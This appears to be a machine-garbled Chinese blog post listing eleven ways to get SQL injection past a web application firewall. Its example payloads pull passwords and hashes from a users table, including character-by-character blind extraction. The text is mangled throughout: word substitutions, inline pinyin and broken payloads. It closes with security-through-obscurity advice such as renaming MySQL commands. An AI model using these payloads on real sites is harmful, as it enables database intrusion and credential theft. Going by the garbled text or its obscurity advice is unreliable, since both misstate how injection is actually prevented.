當(dāng)所有的系統(tǒng)安然防御做好后,剩下生怕就是SQL注進(jìn),跨站報(bào)復(fù)打擊等等web利用層防御了,這也是廣大年夜站長最困擾的東東了,幾日前寫的“安然寶構(gòu)架手藝猜想與高級收集安然防御”講授了一種最簡單的高機(jī)能防御方編制,按照本身的環(huán)境略微點(diǎn)竄下,便可以應(yīng)付大年夜部門的報(bào)復(fù)打擊了,可是就萬事大年夜吉了嗎?
起首我們回顧下網(wǎng)上牛人是如何沖破waf防御:
1.大年夜小寫繞過
這個(gè)大年夜家都很熟諳,對一些太垃圾的WAF結(jié)果較著,好比反對了union,那就利用UnionUnIoN等等繞過。
2.簡單編碼繞過
好比WAF檢測關(guān)頭字,那么我們讓他檢測不到便可以了。好比檢測union,那么我們就用U也就是U的16進(jìn)制編碼來代替U,union寫成UnION,連絡(luò)大年夜小寫也能夠繞過一些WAF,你可以隨便替代一個(gè)或幾個(gè)都可以。
也還有大年夜家在Mysql注進(jìn)中好比表名或是load文件的時(shí)辰,會把文件名或是表白用16進(jìn)制編碼來繞過WAF都是屬于這類。
3.注釋繞過
這類環(huán)境比較少,合用于WAF只是過濾了一次危險(xiǎn)的語句,而沒有阻斷我們的全部查詢。
01./?id=1+union+select+1,2,3unionselect+1,2,31,2,3,4…
可以看到,只要我們把敏感詞放到注釋里面,寄望,前面要加一個(gè)!
4.分隔重寫繞過
仍是上面的例子,合用于那種WAF采取了正則表達(dá)式的環(huán)境,會檢測所有的敏感字,而不在乎你寫在哪里,有幾個(gè)就過濾幾個(gè)。
我們可以經(jīng)由過程注釋分隔敏感字,如許WAF的正則不起感化了,而帶進(jìn)查詢的時(shí)辰其實(shí)不影響我們的成果。
01./?id=1+union+select+1,2,3--
至于重寫繞過,合用于WAF過濾了一次的環(huán)境,和我們上傳aaspsp馬的道理一樣,我們可以寫出近似Ununionion如許的。過濾一次union后就會履行我們的查詢了。
01.?id=1ununionionselect1,2,3--
5.Http參數(shù)污染(HPP)
好比我們有如許的語句:
01./?id=1unionselect+1,2,3+from+users+where+id=1--
我們可以反復(fù)一次前面的id值添加我們的值來繞過,&id=會在查詢時(shí)變成逗號:
01./?id=1unionselect+1&id=2,3+from+users+where+id=1--
這類環(huán)境成功的前提比較多,取決于具體的WAF實(shí)現(xiàn)。
再給出一個(gè)例子申明用法:
01./?id=1unionselectpwdfromusers--
具體闡發(fā)的話就觸及到查詢語句的后臺代碼的編寫了。
好比辦事器是如許寫的:
01.select*fromtablewherea=".$_GET['a']."andb=".$_GET['b']."limit".$_GET['c'];
那我們可以機(jī)關(guān)如許的注進(jìn)語句:
01./?a=1+unionselect+1,passfrom+users--
最終解析為:
01.select*fromtablewherea=1unionselect1,passfromusers--
可以看到,這類編制其實(shí)比較合適白盒測試,而對黑盒滲入的話,用起來比較麻煩。可是也能夠一試。
6.利用邏輯運(yùn)算符or/and繞過
01./?id=1+OR+0x50=0x50
02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
趁便詮釋一下第二句話,從最里面的括號開端闡發(fā),select+pwd+from+users+limit+1,1這句是從users表里查詢pwd字段的第一筆記實(shí),好比是admin,
然后mid(上一句),1,1就是取admin的第一個(gè)字符,也就是a,
lower(上一句)就是把字符轉(zhuǎn)換為小寫,
然后ascii就是把a(bǔ)轉(zhuǎn)換成ascii碼,看等不便是74。
7.比較把持符替代
包含!=不便是,<>不便是,<小于,>大年夜于,這些都可以用來替代=來繞過。
好比上一個(gè)例子,要鑒定是不是是74,假定=被過濾,那么我們可以鑒定是不是是大年夜于73,是不是是小于75,然后就知道是74了。。良多WAF城市忘了這個(gè)。
8.同功能函數(shù)替代
Substring()可以用mid(),substr()這些函數(shù)來替代,都是用來取字符串的某一名字符的。
Ascii()編碼可以用hex(),bin(),也就是16進(jìn)制和二進(jìn)制編碼替代。Benchmark()可以用sleep()來替代,這兩個(gè)利用在基于延時(shí)的盲注中,有機(jī)緣給大年夜家介紹。
假定連這些都樊籬了,還有一種新的編制:
01.substring((select'password'),1,1)=0x70
02.substr((select'password'),1,1)=0x70
03.mid((select'password'),1,1)=0x70
好比這三條,都是從password里鑒定第一個(gè)字符的值,可以用:
01.strcmp(left('password',1),0x69)=1
02.strcmp(left('password',1),0x70)=0
03.strcmp(left('password',1),0x71)=-1
來替代,left用來取字符串左起1位的值,strcmp用來比較兩個(gè)值,假定比較成果相等就為0,左邊小的話就為-1,不然為1。
還有我前幾篇說過的group_concat和concat和concat_ws也能夠彼此替代。
9.盲注無需or和and
好比有如許一個(gè)注進(jìn)點(diǎn):
01.index.php?uid=123
and、or被過濾了,其實(shí)有一種更直接的編制,我們直接點(diǎn)竄123為我們的語句生成的:
01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
123的時(shí)辰頁面是準(zhǔn)確的,我們此刻在盲猜hash的第一名,假定第一名便是0x42也就是B,那么strcmp成果為0,0+123=123,所以頁面應(yīng)當(dāng)是準(zhǔn)確的。不然就申明不是B,就如許猜,不消and和or了。
10.加括號
01./?id=1+union+(select+1,2+from+users)
好比,上面這一條被WAF反對了??梢試L嘗加一些括號:
01./?id=1+union+(select+1,2+from+***)
02./?id=(1)union(select(1),mid(hash,1,32)from(users))
03./?id=1+union+(select'1',concat(login,hash)from+users)
04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))
05./?id=(1)or(0x50=0x50)
11.緩沖區(qū)溢出繞過
這個(gè)是從國外一個(gè)博客看到的:
01.id=1and(select1)=(Select0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),
8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
02.,27,28,29,30,31,32,33,34,35,36–+
此中0xAAAAAAAAAAAAAAAAAAAAA這里A越多越好,一般要求1000個(gè)以上。
以上就是網(wǎng)上哄傳的沖破編制,本人沒時(shí)候往試,也不想往試,這里有一個(gè)標(biāo)題問題,為甚么會有千千萬萬個(gè)縫隙,報(bào)復(fù)打擊編制,防不堪防,有沒有一個(gè)底子的編制解決所有已知,未知的縫隙報(bào)復(fù)打擊呢?
其實(shí)回根到底,我們用的linuxwinmysql等等都是他人開辟的,不是本身的東西,開源的好處就是你可以用,可是你不好保密!所以要解決標(biāo)題問題,還得從軟件,系統(tǒng)的開辟開端,哪怕簡單的二次開辟都可以防御良多報(bào)復(fù)打擊:
1,假定本身能對mysql進(jìn)行二次開辟,把所有的selectunion號令簡單的改名,改成沒有人知道的只有你本身知道的名字,你用擔(dān)憂sql注進(jìn)嗎?
2,假定本身對mysql進(jìn)行二次開辟,改變sql尺度,邏輯,你還怕orand注進(jìn)嗎?
3,假定本身定義一套本身的開辟說話,不消甚么cphp你還怕甚么好處嗎?
4,大年夜范圍定制改革linux把所有的號令,系統(tǒng)調(diào)用經(jīng)行二次開辟,你還怕黑客進(jìn)侵嗎?人家連ls號令都不知道如何弄!
當(dāng)然有背開源精力,可是此刻良多的閉源軟件,防火墻早就這么干了,說白了,保密的東東,最安然,本身創(chuàng)作發(fā)現(xiàn)的東東,才是最靠得住的,事實(shí)你可以隨便定制更改,隨便擴(kuò)大開辟!當(dāng)然假定沒有這個(gè)手藝前提我們可以這么做,讓黑客解體到底!
1,完全丟棄mysqlmongodb等有sql注進(jìn)風(fēng)險(xiǎn)的數(shù)據(jù)庫,采取redis或其他簡單的能知足你當(dāng)前營業(yè)的nosql數(shù)據(jù)庫,其實(shí)要邏輯,要甚么觸發(fā)功能,請用luaphp實(shí)現(xiàn),斷根所有沒有效的功能,就和linux權(quán)限一樣顆?;磺校灰?,無用的十足丟掉落,一個(gè)不剩!
2,對當(dāng)前采取linux系統(tǒng)nginxapache等等,全數(shù)進(jìn)行源代碼簡單點(diǎn)竄,核心功能算法不克不及更改,我們就不克不及更改號令名稱,用戶ui接口?打個(gè)例如把mysql的select號令和各類對應(yīng)的編碼調(diào)用名稱改掉落,哪里來的sql注進(jìn)呢?
好了,??创竽暌辜覅⒖季秃?,千萬不要把系統(tǒng)改的臉孔全非,連本身都用不了,撐持開源,不要僅僅逗留在利用層,我們?nèi)允且M力成為開源軟件開辟者,或多提出本身的立異建議,任何工作不要盲目往跟風(fēng),人家用,你也取用,夠用就好是一種簡單而高深的哲學(xué)。